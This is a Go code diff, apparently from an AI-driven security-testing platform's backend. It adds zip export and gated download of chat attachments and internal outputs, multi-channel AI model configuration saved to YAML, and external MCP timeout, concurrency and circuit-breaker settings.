filename := strings.Join(nameParts, "-") + ".zip"
|
||||||
|
c.Header("Content-Type", "application/zip")
|
||||||
|
c.Header("Content-Disposition", mime.FormatMediaType("attachment", map[string]string{"filename": filename}))
|
||||||
|
|
||||||
|
zw := zip.NewWriter(c.Writer)
|
||||||
|
defer zw.Close()
|
||||||
|
|
||||||
|
manifest := gin.H{
|
||||||
|
"exportedAt": time.Now().UTC().Format(time.RFC3339),
|
||||||
|
"conversationId": conversationFilter,
|
||||||
|
"projectId": projectFilter,
|
||||||
|
"source": sourceFilter,
|
||||||
|
"search": search,
|
||||||
|
"fileCount": len(files),
|
||||||
|
"files": files,
|
||||||
|
"layout": "chat uploads are stored under conversations/<conversationId>/; internal outputs are stored under internal/<source>/",
|
||||||
|
"sourceDirectory": []string{chatUploadsRootDirName, reductionRootDirName, artifactsRootDirName},
|
||||||
|
}
|
||||||
|
manifestBytes, _ := json.MarshalIndent(manifest, "", " ")
|
||||||
|
mw, err := zw.Create("manifest.json")
|
||||||
|
if err != nil {
|
||||||
|
h.logger.Warn("写入附件导出清单失败", zap.Error(err))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_, _ = mw.Write(manifestBytes)
|
||||||
|
|
||||||
|
used := make(map[string]int)
|
||||||
|
for _, item := range files {
|
||||||
|
abs, err := h.resolveListedFilePath(item)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
st, err := os.Stat(abs)
|
||||||
|
if err != nil || st.IsDir() {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
var zipName string
|
||||||
|
if item.Source == chatUploadSourceReduction || strings.HasPrefix(item.RelativePath, reductionVirtualPrefix) {
|
||||||
|
rel := strings.TrimPrefix(item.RelativePath, reductionVirtualPrefix)
|
||||||
|
zipName = filepath.ToSlash(filepath.Join("internal", "reduction", rel))
|
||||||
|
if filepath.Ext(zipName) == "" {
|
||||||
|
zipName += ".txt"
|
||||||
|
}
|
||||||
|
} else if item.Source == chatUploadSourceConversation || strings.HasPrefix(item.RelativePath, artifactVirtualPrefix) {
|
||||||
|
rel := strings.TrimPrefix(item.RelativePath, artifactVirtualPrefix)
|
||||||
|
zipName = filepath.ToSlash(filepath.Join("internal", "conversation_artifacts", rel))
|
||||||
|
if filepath.Ext(zipName) == "" {
|
||||||
|
zipName += ".txt"
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
conv := strings.TrimSpace(item.ConversationID)
|
||||||
|
if conv == "" || conv == "_manual" || conv == "_new" {
|
||||||
|
conv = "manual"
|
||||||
|
}
|
||||||
|
zipName = filepath.ToSlash(filepath.Join("conversations", conv, strings.TrimSpace(item.SubPath), item.Name))
|
||||||
|
}
|
||||||
|
if used[zipName] > 0 {
|
||||||
|
ext := filepath.Ext(zipName)
|
||||||
|
zipName = strings.TrimSuffix(zipName, ext) + fmt.Sprintf("-%d", used[zipName]+1) + ext
|
||||||
|
}
|
||||||
|
used[zipName]++
|
||||||
|
fw, err := zw.Create(zipName)
|
||||||
|
if err != nil {
|
||||||
|
h.logger.Warn("创建附件导出项失败", zap.String("path", item.RelativePath), zap.Error(err))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
src, err := os.Open(abs)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
_, copyErr := io.Copy(fw, src)
|
||||||
|
_ = src.Close()
|
||||||
|
if copyErr != nil {
|
||||||
|
h.logger.Warn("复制附件导出项失败", zap.String("path", item.RelativePath), zap.Error(copyErr))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if h.audit != nil {
|
||||||
|
h.audit.RecordOK(c, "file", "export", "导出对话附件", "chat_upload", filename, map[string]interface{}{
|
||||||
|
"conversation_id": conversationFilter,
|
||||||
|
"project_id": projectFilter,
|
||||||
|
"file_count": len(files),
|
||||||
|
})
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Download GET /api/chat-uploads/download?path=...
|
// Download GET /api/chat-uploads/download?path=...
|
||||||
func (h *ChatUploadsHandler) Download(c *gin.Context) {
|
func (h *ChatUploadsHandler) Download(c *gin.Context) {
|
||||||
p := c.Query("path")
|
p := c.Query("path")
|
||||||
|
if strings.HasPrefix(strings.TrimSpace(p), reductionVirtualPrefix) {
|
||||||
|
if !h.reductionVirtualPathAllowed(c, p) {
|
||||||
|
c.JSON(http.StatusForbidden, gin.H{"error": "无权访问该资源"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
abs, err := h.resolveReductionVirtualPath(p)
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
st, err := os.Stat(abs)
|
||||||
|
if err != nil || st.IsDir() {
|
||||||
|
c.JSON(http.StatusNotFound, gin.H{"error": "file not found"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
name := filepath.Base(abs)
|
||||||
|
if filepath.Ext(name) == "" {
|
||||||
|
name += ".txt"
|
||||||
|
}
|
||||||
|
c.FileAttachment(abs, name)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if strings.HasPrefix(strings.TrimSpace(p), artifactVirtualPrefix) {
|
||||||
|
if !h.conversationArtifactVirtualPathAllowed(c, p) {
|
||||||
|
c.JSON(http.StatusForbidden, gin.H{"error": "无权访问该资源"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
abs, err := h.resolveConversationArtifactVirtualPath(p)
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
st, err := os.Stat(abs)
|
||||||
|
if err != nil || st.IsDir() {
|
||||||
|
c.JSON(http.StatusNotFound, gin.H{"error": "file not found"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
name := filepath.Base(abs)
|
||||||
|
if filepath.Ext(name) == "" {
|
||||||
|
name += ".txt"
|
||||||
|
}
|
||||||
|
c.FileAttachment(abs, name)
|
||||||
|
return
|
||||||
|
}
|
||||||
if !h.pathAllowed(c, p) {
|
if !h.pathAllowed(c, p) {
|
||||||
c.JSON(http.StatusForbidden, gin.H{"error": "无权访问该资源"})
|
c.JSON(http.StatusForbidden, gin.H{"error": "无权访问该资源"})
|
||||||
return
|
return
|
||||||
|
|||||||
+152
-4
@@ -258,6 +258,7 @@ func (h *ConfigHandler) ApplyWechatRobotBinding(wc config.RobotWechatConfig) err
|
|||||||
|
|
||||||
// GetConfigResponse 获取配置响应
|
// GetConfigResponse 获取配置响应
|
||||||
type GetConfigResponse struct {
|
type GetConfigResponse struct {
|
||||||
|
AI config.AIConfig `json:"ai"`
|
||||||
OpenAI config.OpenAIConfig `json:"openai"`
|
OpenAI config.OpenAIConfig `json:"openai"`
|
||||||
Vision config.VisionConfig `json:"vision"`
|
Vision config.VisionConfig `json:"vision"`
|
||||||
FOFA config.FofaConfig `json:"fofa"`
|
FOFA config.FofaConfig `json:"fofa"`
|
||||||
@@ -363,6 +364,7 @@ func (h *ConfigHandler) GetConfig(c *gin.Context) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
c.JSON(http.StatusOK, GetConfigResponse{
|
c.JSON(http.StatusOK, GetConfigResponse{
|
||||||
|
AI: h.config.AI,
|
||||||
OpenAI: h.config.OpenAI,
|
OpenAI: h.config.OpenAI,
|
||||||
Vision: h.config.Vision,
|
Vision: h.config.Vision,
|
||||||
FOFA: h.config.FOFA,
|
FOFA: h.config.FOFA,
|
||||||
@@ -706,6 +708,7 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
|
|||||||
|
|
||||||
// UpdateConfigRequest 更新配置请求
|
// UpdateConfigRequest 更新配置请求
|
||||||
type UpdateConfigRequest struct {
|
type UpdateConfigRequest struct {
|
||||||
|
AI *config.AIConfig `json:"ai,omitempty"`
|
||||||
OpenAI *config.OpenAIConfig `json:"openai,omitempty"`
|
OpenAI *config.OpenAIConfig `json:"openai,omitempty"`
|
||||||
Vision *config.VisionConfig `json:"vision,omitempty"`
|
Vision *config.VisionConfig `json:"vision,omitempty"`
|
||||||
FOFA *config.FofaConfig `json:"fofa,omitempty"`
|
FOFA *config.FofaConfig `json:"fofa,omitempty"`
|
||||||
@@ -725,9 +728,14 @@ type UpdateConfigRequest struct {
|
|||||||
// AgentConfigUpdate 用于 PATCH /api/config 的 agent 段:仅 JSON 中出现的字段(指针非 nil)覆盖内存配置。
|
// AgentConfigUpdate 用于 PATCH /api/config 的 agent 段:仅 JSON 中出现的字段(指针非 nil)覆盖内存配置。
|
||||||
// 避免旧版「整包替换 *AgentConfig」时,未传的整型字段被反序列化为 0 误覆盖(例如 tool_timeout_minutes 变成 0)。
|
// 避免旧版「整包替换 *AgentConfig」时,未传的整型字段被反序列化为 0 误覆盖(例如 tool_timeout_minutes 变成 0)。
|
||||||
type AgentConfigUpdate struct {
|
type AgentConfigUpdate struct {
|
||||||
MaxIterations *int `json:"max_iterations,omitempty"`
|
MaxIterations *int `json:"max_iterations,omitempty"`
|
||||||
ToolTimeoutMinutes *int `json:"tool_timeout_minutes,omitempty"`
|
ToolTimeoutMinutes *int `json:"tool_timeout_minutes,omitempty"`
|
||||||
SystemPromptPath *string `json:"system_prompt_path,omitempty"`
|
ToolWaitTimeoutSeconds *int `json:"tool_wait_timeout_seconds,omitempty"`
|
||||||
|
ExternalMCPMaxConcurrentPerServer *int `json:"external_mcp_max_concurrent_per_server,omitempty"`
|
||||||
|
ExternalMCPMaxConcurrentTotal *int `json:"external_mcp_max_concurrent_total,omitempty"`
|
||||||
|
ExternalMCPCircuitFailureThreshold *int `json:"external_mcp_circuit_failure_threshold,omitempty"`
|
||||||
|
ExternalMCPCircuitCooldownSeconds *int `json:"external_mcp_circuit_cooldown_seconds,omitempty"`
|
||||||
|
SystemPromptPath *string `json:"system_prompt_path,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
func applyAgentConfigUpdate(dst *config.AgentConfig, src *AgentConfigUpdate) {
|
func applyAgentConfigUpdate(dst *config.AgentConfig, src *AgentConfigUpdate) {
|
||||||
@@ -740,6 +748,21 @@ func applyAgentConfigUpdate(dst *config.AgentConfig, src *AgentConfigUpdate) {
|
|||||||
if src.ToolTimeoutMinutes != nil {
|
if src.ToolTimeoutMinutes != nil {
|
||||||
dst.ToolTimeoutMinutes = *src.ToolTimeoutMinutes
|
dst.ToolTimeoutMinutes = *src.ToolTimeoutMinutes
|
||||||
}
|
}
|
||||||
|
if src.ToolWaitTimeoutSeconds != nil {
|
||||||
|
dst.ToolWaitTimeoutSeconds = *src.ToolWaitTimeoutSeconds
|
||||||
|
}
|
||||||
|
if src.ExternalMCPMaxConcurrentPerServer != nil {
|
||||||
|
dst.ExternalMCPMaxConcurrentPerServer = *src.ExternalMCPMaxConcurrentPerServer
|
||||||
|
}
|
||||||
|
if src.ExternalMCPMaxConcurrentTotal != nil {
|
||||||
|
dst.ExternalMCPMaxConcurrentTotal = *src.ExternalMCPMaxConcurrentTotal
|
||||||
|
}
|
||||||
|
if src.ExternalMCPCircuitFailureThreshold != nil {
|
||||||
|
dst.ExternalMCPCircuitFailureThreshold = *src.ExternalMCPCircuitFailureThreshold
|
||||||
|
}
|
||||||
|
if src.ExternalMCPCircuitCooldownSeconds != nil {
|
||||||
|
dst.ExternalMCPCircuitCooldownSeconds = *src.ExternalMCPCircuitCooldownSeconds
|
||||||
|
}
|
||||||
if src.SystemPromptPath != nil {
|
if src.SystemPromptPath != nil {
|
||||||
dst.SystemPromptPath = *src.SystemPromptPath
|
dst.SystemPromptPath = *src.SystemPromptPath
|
||||||
}
|
}
|
||||||
@@ -765,8 +788,20 @@ func (h *ConfigHandler) UpdateConfig(c *gin.Context) {
|
|||||||
defer h.mu.Unlock()
|
defer h.mu.Unlock()
|
||||||
|
|
||||||
// 更新OpenAI配置
|
// 更新OpenAI配置
|
||||||
|
if req.AI != nil {
|
||||||
|
h.config.AI = *req.AI
|
||||||
|
h.config.ApplyDefaultAIChannel()
|
||||||
|
h.logger.Info("更新 AI 通道配置",
|
||||||
|
zap.String("default_channel", h.config.AI.DefaultChannel),
|
||||||
|
zap.Int("channels", len(h.config.AI.Channels)),
|
||||||
|
)
|
||||||
|
}
|
||||||
if req.OpenAI != nil {
|
if req.OpenAI != nil {
|
||||||
h.config.OpenAI = *req.OpenAI
|
h.config.OpenAI = *req.OpenAI
|
||||||
|
h.config.AI.EnsureDefaultFromOpenAI(h.config.OpenAI)
|
||||||
|
if def := config.NormalizeAIChannelID(h.config.AI.DefaultChannel); def != "" {
|
||||||
|
h.config.AI.Channels[def] = config.AIChannelFromOpenAI(def, "Default", h.config.OpenAI)
|
||||||
|
}
|
||||||
h.logger.Info("更新OpenAI配置",
|
h.logger.Info("更新OpenAI配置",
|
||||||
zap.String("base_url", h.config.OpenAI.BaseURL),
|
zap.String("base_url", h.config.OpenAI.BaseURL),
|
||||||
zap.String("model", h.config.OpenAI.Model),
|
zap.String("model", h.config.OpenAI.Model),
|
||||||
@@ -815,12 +850,35 @@ func (h *ConfigHandler) UpdateConfig(c *gin.Context) {
|
|||||||
h.logger.Info("更新Agent配置",
|
h.logger.Info("更新Agent配置",
|
||||||
zap.Int("max_iterations", h.config.Agent.MaxIterations),
|
zap.Int("max_iterations", h.config.Agent.MaxIterations),
|
||||||
zap.Int("tool_timeout_minutes", h.config.Agent.ToolTimeoutMinutes),
|
zap.Int("tool_timeout_minutes", h.config.Agent.ToolTimeoutMinutes),
|
||||||
|
zap.Int("tool_wait_timeout_seconds", h.config.Agent.ToolWaitTimeoutSeconds),
|
||||||
|
zap.Int("external_mcp_max_concurrent_per_server", h.config.Agent.ExternalMCPMaxConcurrentPerServer),
|
||||||
|
zap.Int("external_mcp_max_concurrent_total", h.config.Agent.ExternalMCPMaxConcurrentTotal),
|
||||||
|
zap.Int("external_mcp_circuit_failure_threshold", h.config.Agent.ExternalMCPCircuitFailureThreshold),
|
||||||
|
zap.Int("external_mcp_circuit_cooldown_seconds", h.config.Agent.ExternalMCPCircuitCooldownSeconds),
|
||||||
)
|
)
|
||||||
if h.agent != nil && req.Agent.MaxIterations != nil {
|
if h.agent != nil && req.Agent.MaxIterations != nil {
|
||||||
h.agent.UpdateMaxIterations(h.config.Agent.MaxIterations)
|
h.agent.UpdateMaxIterations(h.config.Agent.MaxIterations)
|
||||||
}
|
}
|
||||||
|
if h.executor != nil {
|
||||||
|
h.executor.SetToolOutputMaxBytes(h.config.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
|
||||||
|
h.executor.SetToolOutputSpillRoot(h.config.MultiAgent.EinoMiddleware.ReductionRootDir)
|
||||||
|
}
|
||||||
if h.mcpServer != nil {
|
if h.mcpServer != nil {
|
||||||
h.mcpServer.ConfigureHTTPToolCallTimeoutFromAgentMinutes(h.config.Agent.ToolTimeoutMinutes)
|
h.mcpServer.ConfigureHTTPToolCallTimeoutFromAgentMinutes(h.config.Agent.ToolTimeoutMinutes)
|
||||||
|
h.mcpServer.ConfigureToolWaitTimeoutSeconds(h.config.Agent.ToolWaitTimeoutSeconds)
|
||||||
|
h.mcpServer.ConfigureToolResultMaxBytes(h.config.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
|
||||||
|
h.mcpServer.ConfigureToolResultSpillRoot(h.config.MultiAgent.EinoMiddleware.ReductionRootDir)
|
||||||
|
}
|
||||||
|
if h.externalMCPMgr != nil {
|
||||||
|
h.externalMCPMgr.ConfigureToolWaitTimeoutSeconds(h.config.Agent.ToolWaitTimeoutSeconds)
|
||||||
|
h.externalMCPMgr.ConfigureToolResultMaxBytes(h.config.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
|
||||||
|
h.externalMCPMgr.ConfigureToolResultSpillRoot(h.config.MultiAgent.EinoMiddleware.ReductionRootDir)
|
||||||
|
h.externalMCPMgr.ConfigureResilience(mcp.ExternalMCPResilienceConfig{
|
||||||
|
MaxConcurrentPerServer: h.config.Agent.ExternalMCPMaxConcurrentPerServer,
|
||||||
|
MaxConcurrentTotal: h.config.Agent.ExternalMCPMaxConcurrentTotal,
|
||||||
|
CircuitFailureThreshold: h.config.Agent.ExternalMCPCircuitFailureThreshold,
|
||||||
|
CircuitCooldown: time.Duration(h.config.Agent.ExternalMCPCircuitCooldownSeconds) * time.Second,
|
||||||
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1471,7 +1529,10 @@ func (h *ConfigHandler) ApplyConfig(c *gin.Context) {
|
|||||||
h.mcpServer.ClearTools()
|
h.mcpServer.ClearTools()
|
||||||
|
|
||||||
// 重新注册安全工具
|
// 重新注册安全工具
|
||||||
|
h.executor.SetToolOutputMaxBytes(h.config.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
|
||||||
|
h.executor.SetToolOutputSpillRoot(h.config.MultiAgent.EinoMiddleware.ReductionRootDir)
|
||||||
h.executor.RegisterTools(h.mcpServer)
|
h.executor.RegisterTools(h.mcpServer)
|
||||||
|
mcp.RegisterExecutionControlTools(h.mcpServer, h.externalMCPMgr)
|
||||||
|
|
||||||
// 重新注册漏洞记录工具(内置工具,必须注册)
|
// 重新注册漏洞记录工具(内置工具,必须注册)
|
||||||
if h.vulnerabilityToolRegistrar != nil {
|
if h.vulnerabilityToolRegistrar != nil {
|
||||||
@@ -1542,6 +1603,24 @@ func (h *ConfigHandler) ApplyConfig(c *gin.Context) {
|
|||||||
}
|
}
|
||||||
if h.mcpServer != nil {
|
if h.mcpServer != nil {
|
||||||
h.mcpServer.ConfigureHTTPToolCallTimeoutFromAgentMinutes(h.config.Agent.ToolTimeoutMinutes)
|
h.mcpServer.ConfigureHTTPToolCallTimeoutFromAgentMinutes(h.config.Agent.ToolTimeoutMinutes)
|
||||||
|
h.mcpServer.ConfigureToolWaitTimeoutSeconds(h.config.Agent.ToolWaitTimeoutSeconds)
|
||||||
|
h.mcpServer.ConfigureToolResultMaxBytes(h.config.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
|
||||||
|
h.mcpServer.ConfigureToolResultSpillRoot(h.config.MultiAgent.EinoMiddleware.ReductionRootDir)
|
||||||
|
}
|
||||||
|
if h.executor != nil {
|
||||||
|
h.executor.SetToolOutputMaxBytes(h.config.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
|
||||||
|
h.executor.SetToolOutputSpillRoot(h.config.MultiAgent.EinoMiddleware.ReductionRootDir)
|
||||||
|
}
|
||||||
|
if h.externalMCPMgr != nil {
|
||||||
|
h.externalMCPMgr.ConfigureToolWaitTimeoutSeconds(h.config.Agent.ToolWaitTimeoutSeconds)
|
||||||
|
h.externalMCPMgr.ConfigureToolResultMaxBytes(h.config.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
|
||||||
|
h.externalMCPMgr.ConfigureToolResultSpillRoot(h.config.MultiAgent.EinoMiddleware.ReductionRootDir)
|
||||||
|
h.externalMCPMgr.ConfigureResilience(mcp.ExternalMCPResilienceConfig{
|
||||||
|
MaxConcurrentPerServer: h.config.Agent.ExternalMCPMaxConcurrentPerServer,
|
||||||
|
MaxConcurrentTotal: h.config.Agent.ExternalMCPMaxConcurrentTotal,
|
||||||
|
CircuitFailureThreshold: h.config.Agent.ExternalMCPCircuitFailureThreshold,
|
||||||
|
CircuitCooldown: time.Duration(h.config.Agent.ExternalMCPCircuitCooldownSeconds) * time.Second,
|
||||||
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
// 更新AttackChainHandler的OpenAI配置
|
// 更新AttackChainHandler的OpenAI配置
|
||||||
@@ -1619,7 +1698,8 @@ func (h *ConfigHandler) saveConfig() error {
|
|||||||
|
|
||||||
updateAgentConfig(root, h.config.Agent)
|
updateAgentConfig(root, h.config.Agent)
|
||||||
updateMCPConfig(root, h.config.MCP)
|
updateMCPConfig(root, h.config.MCP)
|
||||||
updateOpenAIConfig(root, h.config.OpenAI)
|
updateAIConfig(root, h.config.AI)
|
||||||
|
removeKeyFromMap(root.Content[0], "openai")
|
||||||
updateVisionConfig(root, h.config.Vision)
|
updateVisionConfig(root, h.config.Vision)
|
||||||
updateFOFAConfig(root, h.config.FOFA)
|
updateFOFAConfig(root, h.config.FOFA)
|
||||||
updateSpaceSearchConfig(root, "zoomeye", h.config.ZoomEye)
|
updateSpaceSearchConfig(root, "zoomeye", h.config.ZoomEye)
|
||||||
@@ -1731,6 +1811,11 @@ func updateAgentConfig(doc *yaml.Node, agent config.AgentConfig) {
|
|||||||
agentNode := ensureMap(root, "agent")
|
agentNode := ensureMap(root, "agent")
|
||||||
setIntInMap(agentNode, "max_iterations", agent.MaxIterations)
|
setIntInMap(agentNode, "max_iterations", agent.MaxIterations)
|
||||||
setIntInMap(agentNode, "tool_timeout_minutes", agent.ToolTimeoutMinutes)
|
setIntInMap(agentNode, "tool_timeout_minutes", agent.ToolTimeoutMinutes)
|
||||||
|
setIntInMap(agentNode, "tool_wait_timeout_seconds", agent.ToolWaitTimeoutSeconds)
|
||||||
|
setIntInMap(agentNode, "external_mcp_max_concurrent_per_server", agent.ExternalMCPMaxConcurrentPerServer)
|
||||||
|
setIntInMap(agentNode, "external_mcp_max_concurrent_total", agent.ExternalMCPMaxConcurrentTotal)
|
||||||
|
setIntInMap(agentNode, "external_mcp_circuit_failure_threshold", agent.ExternalMCPCircuitFailureThreshold)
|
||||||
|
setIntInMap(agentNode, "external_mcp_circuit_cooldown_seconds", agent.ExternalMCPCircuitCooldownSeconds)
|
||||||
setStringInMap(agentNode, "system_prompt_path", agent.SystemPromptPath)
|
setStringInMap(agentNode, "system_prompt_path", agent.SystemPromptPath)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1808,6 +1893,69 @@ func updateOpenAIConfig(doc *yaml.Node, cfg config.OpenAIConfig) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func updateAIConfig(doc *yaml.Node, cfg config.AIConfig) {
|
||||||
|
root := doc.Content[0]
|
||||||
|
aiNode := ensureMap(root, "ai")
|
||||||
|
if strings.TrimSpace(cfg.DefaultChannel) != "" {
|
||||||
|
setStringInMap(aiNode, "default_channel", config.NormalizeAIChannelID(cfg.DefaultChannel))
|
||||||
|
}
|
||||||
|
channelsNode := ensureMap(aiNode, "channels")
|
||||||
|
channelsNode.Content = nil
|
||||||
|
normalized := make(map[string]config.AIChannelConfig, len(cfg.Channels))
|
||||||
|
ids := make([]string, 0, len(cfg.Channels))
|
||||||
|
for id, ch := range cfg.Channels {
|
||||||
|
nid := config.NormalizeAIChannelID(id)
|
||||||
|
if nid == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if _, exists := normalized[nid]; !exists {
|
||||||
|
ids = append(ids, nid)
|
||||||
|
}
|
||||||
|
normalized[nid] = ch
|
||||||
|
}
|
||||||
|
sort.Strings(ids)
|
||||||
|
seen := make(map[string]bool, len(ids))
|
||||||
|
for _, id := range ids {
|
||||||
|
if seen[id] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
seen[id] = true
|
||||||
|
ch := normalized[id]
|
||||||
|
keyNode := &yaml.Node{Kind: yaml.ScalarNode, Tag: "!!str", Value: id}
|
||||||
|
channelNode := &yaml.Node{Kind: yaml.MappingNode, Tag: "!!map"}
|
||||||
|
channelsNode.Content = append(channelsNode.Content, keyNode, channelNode)
|
||||||
|
setStringInMap(channelNode, "name", ch.Name)
|
||||||
|
if strings.TrimSpace(ch.Provider) != "" {
|
||||||
|
setStringInMap(channelNode, "provider", ch.Provider)
|
||||||
|
}
|
||||||
|
setStringInMap(channelNode, "api_key", ch.APIKey)
|
||||||
|
setStringInMap(channelNode, "base_url", ch.BaseURL)
|
||||||
|
setStringInMap(channelNode, "model", ch.Model)
|
||||||
|
if ch.MaxTotalTokens > 0 {
|
||||||
|
setIntInMap(channelNode, "max_total_tokens", ch.MaxTotalTokens)
|
||||||
|
}
|
||||||
|
if ch.MaxCompletionTokens > 0 {
|
||||||
|
setIntInMap(channelNode, "max_completion_tokens", ch.MaxCompletionTokens)
|
||||||
|
}
|
||||||
|
rn := ensureMap(channelNode, "reasoning")
|
||||||
|
if strings.TrimSpace(ch.Reasoning.Mode) != "" {
|
||||||
|
setStringInMap(rn, "mode", ch.Reasoning.Mode)
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(ch.Reasoning.Effort) != "" {
|
||||||
|
setStringInMap(rn, "effort", ch.Reasoning.Effort)
|
||||||
|
}
|
||||||
|
if ch.Reasoning.AllowClientReasoning != nil {
|
||||||
|
setBoolInMap(rn, "allow_client_reasoning", *ch.Reasoning.AllowClientReasoning)
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(ch.Reasoning.Profile) != "" {
|
||||||
|
setStringInMap(rn, "profile", ch.Reasoning.Profile)
|
||||||
|
}
|
||||||
|
if len(rn.Content) == 0 {
|
||||||
|
removeKeyFromMap(channelNode, "reasoning")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func updateFOFAConfig(doc *yaml.Node, cfg config.FofaConfig) {
|
func updateFOFAConfig(doc *yaml.Node, cfg config.FofaConfig) {
|
||||||
root := doc.Content[0]
|
root := doc.Content[0]
|
||||||
fofaNode := ensureMap(root, "fofa")
|
fofaNode := ensureMap(root, "fofa")
|
||||||
|
|||||||
@@ -373,6 +373,7 @@ func summarizeProcessDetailData(eventType string, data interface{}) interface{}
|
|||||||
"success": true, "isError": true, "executionId": true,
|
"success": true, "isError": true, "executionId": true,
|
||||||
"einoAgent": true, "einoRole": true, "einoScope": true, "orchestration": true,
|
"einoAgent": true, "einoRole": true, "einoScope": true, "orchestration": true,
|
||||||
"agentFacing": true,
|
"agentFacing": true,
|
||||||
|
"status": true, "modelFacingIsError": true, "resultPreview": true,
|
||||||
}
|
}
|
||||||
out := make(map[string]interface{}, len(allow)+1)
|
out := make(map[string]interface{}, len(allow)+1)
|
||||||
for k, v := range m {
|
for k, v := range m {
|
||||||
|
|||||||
@@ -149,6 +149,14 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
|
|||||||
sendEvent("done", "", map[string]interface{}{"conversationId": conversationID})
|
sendEvent("done", "", map[string]interface{}{"conversationId": conversationID})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
runCfg, resolvedAIChannelID, err := h.configForAIChannel(req.AIChannelID)
|
||||||
|
if err != nil {
|
||||||
|
taskStatus = "failed"
|
||||||
|
h.tasks.UpdateTaskStatus(conversationID, taskStatus)
|
||||||
|
sendEvent("error", err.Error(), nil)
|
||||||
|
sendEvent("done", "", map[string]interface{}{"conversationId": conversationID})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
var result *multiagent.RunResult
|
var result *multiagent.RunResult
|
||||||
var runErr error
|
var runErr error
|
||||||
@@ -222,8 +230,8 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
|
|||||||
|
|
||||||
result, runErr = multiagent.RunEinoSingleChatModelAgent(
|
result, runErr = multiagent.RunEinoSingleChatModelAgent(
|
||||||
taskCtxLoop,
|
taskCtxLoop,
|
||||||
h.config,
|
runCfg,
|
||||||
&h.config.MultiAgent,
|
&runCfg.MultiAgent,
|
||||||
h.agent,
|
h.agent,
|
||||||
h.db,
|
h.db,
|
||||||
h.logger,
|
h.logger,
|
||||||
@@ -236,6 +244,7 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
|
|||||||
chatReasoningToClientIntent(req.Reasoning),
|
chatReasoningToClientIntent(req.Reasoning),
|
||||||
h.agentSessionContextBlock(conversationID),
|
h.agentSessionContextBlock(conversationID),
|
||||||
)
|
)
|
||||||
|
_ = resolvedAIChannelID
|
||||||
|
|
||||||
if result != nil && len(result.MCPExecutionIDs) > 0 {
|
if result != nil && len(result.MCPExecutionIDs) > 0 {
|
||||||
cumulativeMCPExecutionIDs = mergeMCPExecutionIDLists(cumulativeMCPExecutionIDs, result.MCPExecutionIDs)
|
cumulativeMCPExecutionIDs = mergeMCPExecutionIDLists(cumulativeMCPExecutionIDs, result.MCPExecutionIDs)
|
||||||
@@ -410,6 +419,11 @@ func (h *AgentHandler) EinoSingleAgentLoop(c *gin.Context) {
|
|||||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "服务器配置未加载"})
|
c.JSON(http.StatusInternalServerError, gin.H{"error": "服务器配置未加载"})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
runCfg, _, err := h.configForAIChannel(req.AIChannelID)
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
curHist := prep.History
|
curHist := prep.History
|
||||||
curMsg := prep.FinalMessage
|
curMsg := prep.FinalMessage
|
||||||
@@ -418,8 +432,8 @@ func (h *AgentHandler) EinoSingleAgentLoop(c *gin.Context) {
|
|||||||
for {
|
for {
|
||||||
result, runErr = multiagent.RunEinoSingleChatModelAgent(
|
result, runErr = multiagent.RunEinoSingleChatModelAgent(
|
||||||
taskCtx,
|
taskCtx,
|
||||||
h.config,
|
runCfg,
|
||||||
&h.config.MultiAgent,
|
&runCfg.MultiAgent,
|
||||||
h.agent,
|
h.agent,
|
||||||
h.db,
|
h.db,
|
||||||
h.logger,
|
h.logger,
|
||||||
|
|||||||
@@ -167,7 +167,7 @@ func summarizeAccessibleExecutionPage(executions []*mcp.ToolExecution, topN int)
|
|||||||
stats[exec.ToolName] = stat
|
stats[exec.ToolName] = stat
|
||||||
}
|
}
|
||||||
stat.TotalCalls++
|
stat.TotalCalls++
|
||||||
